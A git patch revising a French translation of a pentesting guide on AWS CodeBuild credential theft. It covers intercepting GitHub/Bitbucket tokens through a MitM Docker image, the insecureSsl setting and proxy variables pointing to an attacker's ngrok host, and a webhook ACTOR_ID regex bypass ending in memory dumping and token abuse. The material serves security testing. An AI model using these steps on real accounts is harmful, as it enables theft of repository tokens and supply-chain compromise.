From 41775cc0f958132e7d24eb69de3e4ba7821163c9 Mon Sep 17 00:00:00 2001 From: Translator Date: Sun, 18 Jan 2026 15:11:40 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation --- .../aws-codebuild-token-leakage.md | 81 +++++++++++-------- 1 file changed, 49 insertions(+), 32 deletions(-) diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md index 600d70426..2eb92f83f 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md @@ -2,47 +2,47 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Récupérer les jetons configurés Github/Bitbucket +## Récupérer les Tokens configurés pour Github/Bitbucket -Tout d'abord, vérifiez s'il y a des identifiants source configurés que vous pourriez fuiter : +Tout d'abord, vérifiez s'il y a des source credentials configurés que vous pourriez leak: ```bash aws codebuild list-source-credentials ``` ### Via Docker Image -Si vous constatez que l'authentification à, par exemple, Github est configurée dans le compte, vous pouvez **exfiltrer** cet **accès** (**GH token ou OAuth token**) en faisant en sorte que Codebuild **utilise une image docker spécifique** pour exécuter la construction du projet. +Si vous constatez que l'authentification, par exemple pour Github, est configurée dans le compte, vous pouvez **exfiltrate** cet **access** (**GH token or OAuth token**) en faisant en sorte que Codebuild **use an specific docker image** pour exécuter la build du projet. -À cette fin, vous pourriez **créer un nouveau projet Codebuild** ou modifier l'**environnement** d'un projet existant pour définir l'**image Docker**. +Pour cela vous pouvez **créer un nouveau projet Codebuild** ou modifier l'**environment** d'un projet existant pour définir la **Docker image**. -L'image Docker que vous pourriez utiliser est [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). C'est une image Docker très basique qui définira les **variables d'environnement `https_proxy`**, **`http_proxy`** et **`SSL_CERT_FILE`**. Cela vous permettra d'intercepter la plupart du trafic de l'hôte indiqué dans **`https_proxy`** et **`http_proxy`** et de faire confiance au certificat SSL indiqué dans **`SSL_CERT_FILE`**. +The Docker image you could use is [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Il s'agit d'une image Docker très basique qui va définir les **variables d'environnement `https_proxy`**, **`http_proxy`** et **`SSL_CERT_FILE`**. Cela vous permettra d'intercepter la plupart du trafic de l'hôte indiqué dans **`https_proxy`** et **`http_proxy`** et de faire confiance au certificat SSL indiqué dans **`SSL_CERT_FILE`**. -1. **Créer et télécharger votre propre image Docker MitM** -- Suivez les instructions du dépôt pour définir votre adresse IP de proxy et définir votre certificat SSL et **construire l'image docker**. -- **NE PAS DÉFINIR `http_proxy`** pour ne pas intercepter les requêtes vers le point de terminaison des métadonnées. -- Vous pourriez utiliser **`ngrok`** comme `ngrok tcp 4444` pour définir le proxy vers votre hôte. -- Une fois que vous avez construit l'image Docker, **téléchargez-la dans un dépôt public** (Dockerhub, ECR...) -2. **Définir l'environnement** -- Créez un **nouveau projet Codebuild** ou **modifiez** l'environnement d'un projet existant. -- Définissez le projet pour utiliser l'**image Docker précédemment générée**. +1. **Create & Upload your own Docker MitM image** +- Suivez les instructions du repo pour définir l'adresse IP de votre proxy, configurer votre certificat SSL et **build the docker image**. +- **DO NOT SET `http_proxy`** afin de ne pas intercepter les requêtes vers le metadata endpoint. +- Vous pouvez utiliser **`ngrok`** comme `ngrok tcp 4444` pour définir le proxy vers votre hôte +- Une fois l'image Docker construite, **upload it to a public repo** (Dockerhub, ECR...) +2. **Set the environment** +- Créez un **nouveau Codebuild project** ou **modifiez** l'environnement d'un projet existant. +- Configurez le projet pour utiliser l'**image Docker générée précédemment**
-3. **Définir le proxy MitM sur votre hôte** +3. **Set the MitM proxy in your host** -- Comme indiqué dans le **dépôt Github**, vous pourriez utiliser quelque chose comme : +- Comme indiqué dans le **Github repo** vous pouvez utiliser quelque chose comme: ```bash mitmproxy --listen-port 4444 --allow-hosts "github.com" ``` > [!TIP] -> La **version de mitmproxy utilisée était 9.0.1**, il a été signalé qu'avec la version 10, cela pourrait ne pas fonctionner. +> La **version de mitmproxy utilisée était 9.0.1**, il a été signalé qu'avec la version 10 cela pourrait ne pas fonctionner. -4. **Exécutez la construction et capturez les identifiants** +4. **Exécuter le build & capture the credentials** -- Vous pouvez voir le token dans l'en-tête **Authorization** : +- Vous pouvez voir le token dans l'en-tête **Authorization**:
-Cela pourrait également être fait depuis l'aws cli avec quelque chose comme +Cela peut aussi être fait depuis l'aws cli avec quelque chose comme ```bash # Create project using a Github connection aws codebuild create-project --cli-input-json file:///tmp/buildspec.json @@ -73,14 +73,14 @@ aws codebuild start-build --project-name my-project2 ``` ### Via insecureSSL -Les projets **Codebuild** ont un paramètre appelé **`insecureSsl`** qui est caché dans le web et que vous ne pouvez changer que depuis l'API.\ -L'activation de cela permet à Codebuild de se connecter au dépôt **sans vérifier le certificat** offert par la plateforme. +**Codebuild** projects ont un paramètre appelé **`insecureSsl`** qui est caché dans l'interface web ; vous ne pouvez le modifier que via l'API.\ +L'activer permet à Codebuild de se connecter au dépôt **sans vérifier le certificat** présenté par la plateforme. -- Tout d'abord, vous devez énumérer la configuration actuelle avec quelque chose comme : +- Commencez par énumérer la configuration actuelle avec quelque chose comme : ```bash aws codebuild batch-get-projects --name ``` -- Ensuite, avec les informations recueillies, vous pouvez mettre à jour le paramètre du projet **`insecureSsl`** à **`True`**. Voici un exemple de ma mise à jour d'un projet, remarquez le **`insecureSsl=True`** à la fin (c'est la seule chose que vous devez changer dans la configuration recueillie). +- Ensuite, avec les informations recueillies, vous pouvez mettre à jour le paramètre de projet **`insecureSsl`** à **`True`**. Voici un exemple de ma mise à jour d'un projet, remarquez **`insecureSsl=True`** à la fin (c'est la seule chose que vous devez modifier par rapport à la configuration recueillie). - De plus, ajoutez également les variables d'environnement **http_proxy** et **https_proxy** pointant vers votre tcp ngrok comme : ```bash aws codebuild update-project --name \ @@ -115,7 +115,7 @@ aws codebuild update-project --name \ ] }' ``` -- Ensuite, exécutez l'exemple de base depuis [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) dans le port indiqué par les variables de proxy (http_proxy et https_proxy) +Ensuite, lancez l'exemple de base disponible sur [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) sur le port indiqué par les variables proxy (http_proxy et https_proxy) ```python from mitm import MITM, protocol, middleware, crypto @@ -128,15 +128,15 @@ certificate_authority = crypto.CertificateAuthority() ) mitm.run() ``` -- Enfin, cliquez sur **Build the project**, les **identifiants** seront **envoyés en texte clair** (base64) au port mitm : +- Enfin, cliquez sur **Build the project**, les **identifiants** seront **envoyés en clair** (base64) au port mitm :
### ~~Via le protocole HTTP~~ -> [!TIP] > **Cette vulnérabilité a été corrigée par AWS à un moment donné de la semaine du 20 février 2023 (je pense que c'était vendredi). Donc un attaquant ne peut plus en abuser :)** +> [!TIP] > **Cette vulnérabilité a été corrigée par AWS à un moment la semaine du 20 février 2023 (je pense le vendredi). Donc un attaquant ne peut plus l'exploiter :)** -Un attaquant avec **des permissions élevées sur un CodeBuild pourrait divulguer le token Github/Bitbucket** configuré ou si les permissions étaient configurées via OAuth, le **token OAuth temporaire utilisé pour accéder au code**. +Un attaquant disposant de **permissions élevées sur un CodeBuild pourrait leak le token Github/Bitbucket configuré**, ou, si les permissions sont configurées via OAuth, **le token OAuth temporaire utilisé pour accéder au code**. - Un attaquant pourrait ajouter les variables d'environnement **http_proxy** et **https_proxy** au projet CodeBuild pointant vers sa machine (par exemple `http://5.tcp.eu.ngrok.io:14972`). @@ -144,8 +144,8 @@ Un attaquant avec **des permissions élevées sur un CodeBuild pourrait divulgue
-- Ensuite, changez l'URL du dépôt github pour utiliser HTTP au lieu de HTTPS, par exemple : `http://github.com/carlospolop-forks/TestActions` -- Ensuite, exécutez l'exemple de base depuis [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) sur le port pointé par les variables proxy (http_proxy et https_proxy) +- Ensuite, changez l'URL du repo github pour utiliser HTTP au lieu de HTTPS, par exemple : `http://github.com/carlospolop-forks/TestActions` +- Ensuite, lancez l'exemple basique depuis [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) sur le port indiqué par les variables proxy (http_proxy et https_proxy) ```python from mitm import MITM, protocol, middleware, crypto @@ -158,15 +158,32 @@ certificate_authority = crypto.CertificateAuthority() ) mitm.run() ``` -- Ensuite, cliquez sur **Build the project** ou démarrez la construction depuis la ligne de commande : +- Ensuite, cliquez sur **Build the project** ou démarrez la build depuis la ligne de commande : ```sh aws codebuild start-build --project-name ``` -- Enfin, les **identifiants** seront **envoyés en texte clair** (base64) au port mitm : +- Enfin, les **credentials** seront **envoyées en clair** (base64) au port mitm :
> [!WARNING] -> Maintenant, un attaquant pourra utiliser le token depuis sa machine, lister tous les privilèges qu'il a et (ab)user plus facilement que d'utiliser directement le service CodeBuild. +> Un attaquant pourra désormais utiliser le token depuis sa machine, lister tous les privilèges qu'il possède et en abuser plus facilement que s'il utilisait le service CodeBuild directement. + +## Webhook filter ACTOR_ID regex allowlist bypass (PR-triggered privileged builds) + +Les webhooks GitHub de CodeBuild mal configurés qui utilisent des regex `ACTOR_ID` non ancrées permettent à des PR *non fiables* de lancer des builds privilégiés. Si l'allowlist ressemble à `123456|7890123` sans `^`/`$`, tout ID contenant l'une de ces sous-chaînes correspond. Parce que les user IDs GitHub sont séquentiels, un attaquant peut se précipiter pour enregistrer un ID « eclipsing » (une superchaîne d'un ID de confiance) et déclencher le build. + +**Chemin d'exploitation** + +1. Trouver des projets CodeBuild publics exposant des webhook filters et extraire une allowlist `ACTOR_ID` non ancrée. +2. Obtenir un GitHub ID eclipsing : +- Échantillonner le compteur d'ID global en créant/supprimant des orgs GitHub (les org IDs partagent le pool). +- Pré-créer de nombreuses GitHub App manifest creations et déclencher les confirmation URLs quand le compteur est à ~100 IDs de la cible pour enregistrer en rafale un bot ID contenant la sous-chaîne de confiance. +3. Ouvrir une PR depuis le compte eclipsing ; la regex correspond à la sous-chaîne et le build privilégié s'exécute. +4. Utiliser build RCE (p.ex., dependency install hooks) pour dumper la mémoire du process manipulant les credential GitHub et récupérer le token PAT/OAuth. +5. Avec le scope `repo` du token, inviter votre compte comme collaborator/admin et pousser/approuver des commits malveillants ou exfiltrer des secrets. + +## References +- [Wiz: CodeBreach – AWS CodeBuild ACTOR_ID regex bypass and token theft](https://www.wiz.io/blog/wiz-research-codebreach-vulnerability-aws-codebuild) {{#include ../../../../banners/hacktricks-training.md}}